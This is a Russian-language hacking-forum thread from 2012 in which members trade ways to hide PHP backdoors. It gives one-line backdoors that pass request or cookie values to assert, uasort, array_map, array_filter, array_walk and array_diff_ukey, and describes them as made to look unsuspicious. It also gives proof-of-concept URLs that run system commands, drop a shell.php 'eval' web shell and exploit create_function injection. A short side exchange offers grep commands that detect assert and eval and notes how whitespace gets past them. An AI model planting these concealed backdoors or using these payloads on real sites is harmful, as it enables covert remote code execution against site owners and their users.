HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 11.01.2012, 17:09
Boolean
Участник форума
Регистрация: 05.09.2010
Сообщений: 147
С нами: 8255126

Репутация: 78
По умолчанию

Цитата:
Сообщение от Ereee  
>У тебя по сути всегда будет $a!=$b.
С чего это вдруг?
Потому что $b _не_была_ установлена ранее. Теперь все ок.

Ну не нравится eval, есть куча других возможностей исполнить код.

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]assert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]);

[/
COLOR][/COLOR
 
Ответить с цитированием

  #2  
Старый 11.01.2012, 17:11
Expl0ited
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами: 8328566

Репутация: 935


По умолчанию

Цитата:
Сообщение от Boolean  
Потому что $b _не_была_ установлена ранее. Теперь все ок.
Ну не нравится eval, есть куча других возможностей исполнить код.
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]assert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]);

[/
COLOR][/COLOR
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]egrep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]H[/COLOR][COLOR="#DD0000"]"assert\("[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]find . -type f -name "*.php" -print[/COLOR][COLOR="#007700"]`[/COLOR][/COLOR
 
Ответить с цитированием

  #3  
Старый 11.01.2012, 17:30
Boolean
Участник форума
Регистрация: 05.09.2010
Сообщений: 147
С нами: 8255126

Репутация: 78
По умолчанию

Цитата:
Сообщение от Expl0ited  
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]egrep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]H[/COLOR][COLOR="#DD0000"]"assert\("[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]find . -type f -name "*.php" -print[/COLOR][COLOR="#007700"]`[/COLOR][/COLOR
ололо.

Во-первых assert ищут крайне редко.

Во-вторых, "shell" бы также нашли. =\\

В-третьих это в любом случае лучше чем та втыкалка шелла, что предложил Ereee 5 постов выше.

upd:

а

Код:
assert       ($_GET['lol'])
уже не найдет. пичалько.
 
Ответить с цитированием

  #4  
Старый 11.01.2012, 17:35
Expl0ited
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами: 8328566

Репутация: 935


По умолчанию

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]egrep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]H[/COLOR][COLOR="#DD0000"]"assert|eval"[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]find . -type f -name "*.php" -print[/COLOR][COLOR="#007700"]`[/COLOR][/COLOR
Хорошо спрятан тот бекдор, который не возможно найти средствами автоматизации.
 
Ответить с цитированием

  #5  
Старый 11.01.2012, 17:36
Ereee
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
С нами: 7604246

Репутация: 267


По умолчанию

1) $_GET lol.

2) egrep -H "assert" `find . -type f -name "*.php" -print` lol.

3) lol
 
Ответить с цитированием

  #6  
Старый 16.01.2012, 18:30
Boolean
Участник форума
Регистрация: 05.09.2010
Сообщений: 147
С нами: 8255126

Репутация: 78
По умолчанию

Эдакий eval на основе «бага» php.

create_function - по своей сути обычный eval.

Сам код:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]uasort[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]]);

[/
COLOR][/COLOR
PoC:

Код:
re_password=phpinfo();&login[]=};eval($_REQUEST['re_password']);//&login[]=$b, $a&password=create_function
 
Ответить с цитированием

  #7  
Старый 16.01.2012, 18:41
Expl0ited
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами: 8328566

Репутация: 935


По умолчанию

Цитата:
Сообщение от Boolean  
Эдакий eval на основе «бага» php.
create_function - по своей сути обычный eval.
Сам код:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]uasort[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]]);

[/
COLOR][/COLOR
PoC:
Код:
re_password=phpinfo();&login[]=};eval($_REQUEST['re_password']);//&login[]=$b, $a&password=create_function
это не баг, это обычная callback функция
 
Ответить с цитированием

  #8  
Старый 16.01.2012, 18:44
Boolean
Участник форума
Регистрация: 05.09.2010
Сообщений: 147
С нами: 8255126

Репутация: 78
По умолчанию

Цитата:
Сообщение от Expl0ited  
это не баг, это обычная
callback
функция
под багом я понимал не каллбак, а сам баг сreate_function:

https://bugs.php.net/bug.php?id=48231
 
Ответить с цитированием

  #9  
Старый 16.01.2012, 22:16
KolosJey
Новичок
Регистрация: 21.12.2009
Сообщений: 0
С нами: 8625634

Репутация: 0
По умолчанию

Цитата:
Сообщение от Boolean  
под багом я понимал не каллбак, а сам баг сreate_function:
https://bugs.php.net/bug.php?id=48231
Насчёт "бага" там отличный ответ разработчиков. Лучше пожалуй и не скажешь
 
Ответить с цитированием

  #10  
Старый 18.01.2012, 11:42
Boolean
Участник форума
Регистрация: 05.09.2010
Сообщений: 147
С нами: 8255126

Репутация: 78
По умолчанию

«callback похождения»

Небольшой наборчик функций, которые при обычных условиях не вызывают подозрений.

Все параметры могут быть также вынесены в отдельные переменные, для уменьшения подозрительности.

array_map, array_filter, array_walk

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]array_map[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]]);

[/
COLOR][COLOR="#0000BB"]Или

[/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]array_filter[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]);

[/
COLOR][COLOR="#0000BB"]Или

[/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]array_walk[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]);

[/
COLOR][COLOR="#0000BB"]Кому как[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]что лучше смотрится[/COLOR][COLOR="#007700"].

[/
COLOR][/COLOR
PoC:

Код:
http://localhost/test.php?login=system&password[]=type+test.php
array_diff_ukey

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]array_diff_ukey[/COLOR][COLOR="#007700"](@array((string)[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]] =>[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]), @array((string)[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'re_password'[/COLOR][COLOR="#007700"]] =>[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]);

[/
COLOR][/COLOR
от callback функции требуется принятие 2 параметров, поэтому необходимо приготовить такую функцию, например file_put_contents.

PoC:

Код:
http://localhost/test.php?login=file_put_contents&password=shell.php&re_password=%3C?php%20eval%28$_REQUEST[cmd]%29;%20?%3E
В файле shell.php будет «евальник».

Или же PoC[2], опять же "баг" с create_function:

Код:
http://localhost/test.php?login=create_function&password=$a, $b&re_password=}phpinfo();//
Результатом будет являться выполнение phpinfo();
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.